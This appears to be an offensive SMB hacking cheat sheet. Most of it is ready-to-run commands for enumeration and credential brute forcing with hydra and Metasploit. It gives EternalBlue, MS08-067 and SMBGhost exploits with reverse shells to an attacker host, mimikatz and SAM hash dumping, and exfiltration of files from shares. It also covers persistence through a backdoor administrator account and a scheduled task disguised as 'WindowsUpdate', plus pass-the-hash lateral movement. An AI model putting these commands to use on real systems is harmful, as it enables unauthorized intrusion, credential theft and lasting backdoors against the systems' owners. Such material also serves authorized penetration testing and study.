SMB (Server Message Block)

`Default Port: 139, 445`

SMB (Server Message Block), also known as CIFS (Common Internet File System), is a network protocol that allows for file sharing, network browsing, printing services, and inter-process communication over a network.

The SMB protocol provides you with the ability to access resources from a server.

Connect

In order to initiate the process, it's imperative to establish a connection to the Server Message Block (SMB) server.

```
smbclient -L //target-ip
```

Recon

Service Detection with Nmap

Use Nmap to detect SMB services and identify server capabilities.

```
nmap -p 139,445 target.com
```

Banner Grabbing

Connect to SMB services to gather version and service information.

```
# Nmap to discover SMB services
nmap -p 445 --open -sV target.com

# Nmap script for SMB version
nmap --script smb-protocols -p 445 target.com
```

Share Enumeration

Discover and enumerate SMB shares on target systems.

Using smbclient

```
# List shares anonymously
smbclient -L //target.com -U anonymous

# List shares with credentials
smbclient -L //target.com -U username%password

# Connect to specific share
smbclient //target.com/sharename -U username%password
```

Using smbmap

```
# Basic share enumeration
smbmap -H target.com

# With credentials
smbmap -H target.com -u username -p password

# Recursive enumeration
smbmap -H target.com -u username -p password -r
```

User and Group Enumeration

Enumerate users, groups, and domain information from SMB services.

Using enum4linux

```
# Full enumeration
enum4linux -a target.com
```

```
# User enumeration only
enum4linux -U target.com

# Group enumeration only
enum4linux -G target.com

# Password policy
enum4linux -P target.com
```

Using nmap

```
# Enumerate shares and users
nmap -p 445 --script=smb-enum-shares,smb-enum-users target.com

# Enumerate groups and domains
nmap -p 445 --script=smb-enum-groups,smb-enum-domains target.com

# Security settings
nmap -p 445 --script=smb-security-mode target.com
```

Attack Vectors

Exploit various SMB vulnerabilities and misconfigurations for unauthorized access.

SMB Null Session

A Null Session refers to an unauthenticated connection to an SMB server, providing the capability to gather significant information. Exploitation typically involves SMB connections over TCP ports 445 and 139.

SMB Signing

SMB signing, if not enabled, can be exploited, potentially allowing an attacker to conduct a man-in-the-middle attack.

```
# Check SMB signing status
nmap --script smb-security-mode.nse -p445 target.com

# Using smbclient
smbclient -L //target.com -U username%password --option='client signing=off'


# Brute force SMB credentials
hydra -l administrator -P passwords.txt smb://target.com

# With username list
hydra -L users.txt -P passwords.txt smb://target.com
```

Using Nmap

```
# SMB brute force
nmap -p 445 --script smb-brute target.com

# With custom credentials
nmap -p 445 --script smb-brute --script-args
userdb=users.txt,passdb=passwords.txt target.com
```

Using Metasploit

```
use auxiliary/scanner/smb/smb_login
set RHOSTS target.com
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
set STOP_ON_SUCCESS true
exploit
```

CVE Exploitation

Exploit known SMB vulnerabilities for remote code execution.

MS08-067 (Netapi)

```
use exploit/windows/smb/ms08_067_netapi
set RHOSTS target.com
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST attacker-ip
exploit
```

MS17-010 (EternalBlue)

```
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS target.com
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST attacker-ip
exploit
```

SMBGhost (CVE-2020-0796)

```
use exploit/windows/smb/cve_2020_0796_smbghost
set RHOSTS target.com
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST attacker-ip
exploit
```

Post-Exploitation

Extract sensitive data and establish persistent access after successful SMB exploitation.

Credential Harvesting

Extract credentials and authentication data from compromised SMB systems.

Hash Dumping

```
# Using Metasploit
use post/windows/gather/smart_hashdump
exploit

# Using Mimikatz (if you have access)
mimikatz.exe
```

```
privilege::debug
sekurlsa::logonpasswords

# Using secretsdump
secretsdump.py domain/user:password@target.com
```

SAM Database Extraction

```
# Using Metasploit
use post/windows/gather/sam_hashdump
exploit

# Manual extraction
reg save HKLM\SAM C:\Windows\Temp\sam
reg save HKLM\SYSTEM C:\Windows\Temp\system
```

Privilege Escalation

Escalate privileges on compromised SMB systems.

```
# Using Meterpreter
getsystem

# Using Mimikatz
mimikatz.exe
privilege::debug
token::elevate

# Using PSExec
psexec.exe -s cmd.exe
```

Data Exfiltration

Extract sensitive data from SMB shares and compromised systems.

Share Access

```
# Using smbclient
smbclient //target.com/sharename -U username%password
```

```
> get sensitive_file.txt
> mget *.txt

# Using smbget
smbget -R smb://target.com/sharename/ -U username%password

# Using smbmap
smbmap -H target.com -u username -p password -d . -R sharename
```

File Search

```
# Using smbclient
smbclient //target.com/sharename -U username%password
> ls
> cd sensitive_folder
> get *.pdf
> get *.docx
```

Persistence

Create persistent backdoor access to compromised SMB systems.

```
# Create backdoor user
net user backdoor P@ssw0rd123! /add
net localgroup administrators backdoor /add

# Registry persistence
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t
REG_SZ /d "C:\Windows\Temp\backdoor.exe"

# Scheduled task
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\backdoor.exe" /sc
onlogon /ru SYSTEM
```

Lateral Movement

Use compromised SMB access for lateral movement across the network.

```
# SMB to other machines
```

```
smbclient //another-host.com/sharename -U username%password

# Pass-the-Hash
pth-winexe -U domain/username%hash //another-host.com cmd

# WMI lateral movement
wmic /node:another-host.com /user:username /password:password process call
create "cmd.exe"
```

Common SMB Commands

Command	Description	Usage
`smbclient`	Connect to an SMB/CIFS server	`smbclient //server/share`
`smbget`	Download files from an SMB/CIFS server	`smbget smb://server/share/file`
`smbpasswd`	Change a user's SMB password	`smbpasswd -r server -U username`
`smbstatus`	Display information about SMB connections	`smbstatus`
`smbtree`	List SMB/CIFS shares on a network	`smbtree`
`mount -t cifs`	Mount an SMB/CIFS share	`mount -t cifs //server/share /mnt/point`
`umount`	Unmount an SMB/CIFS share	`umount /mnt/point`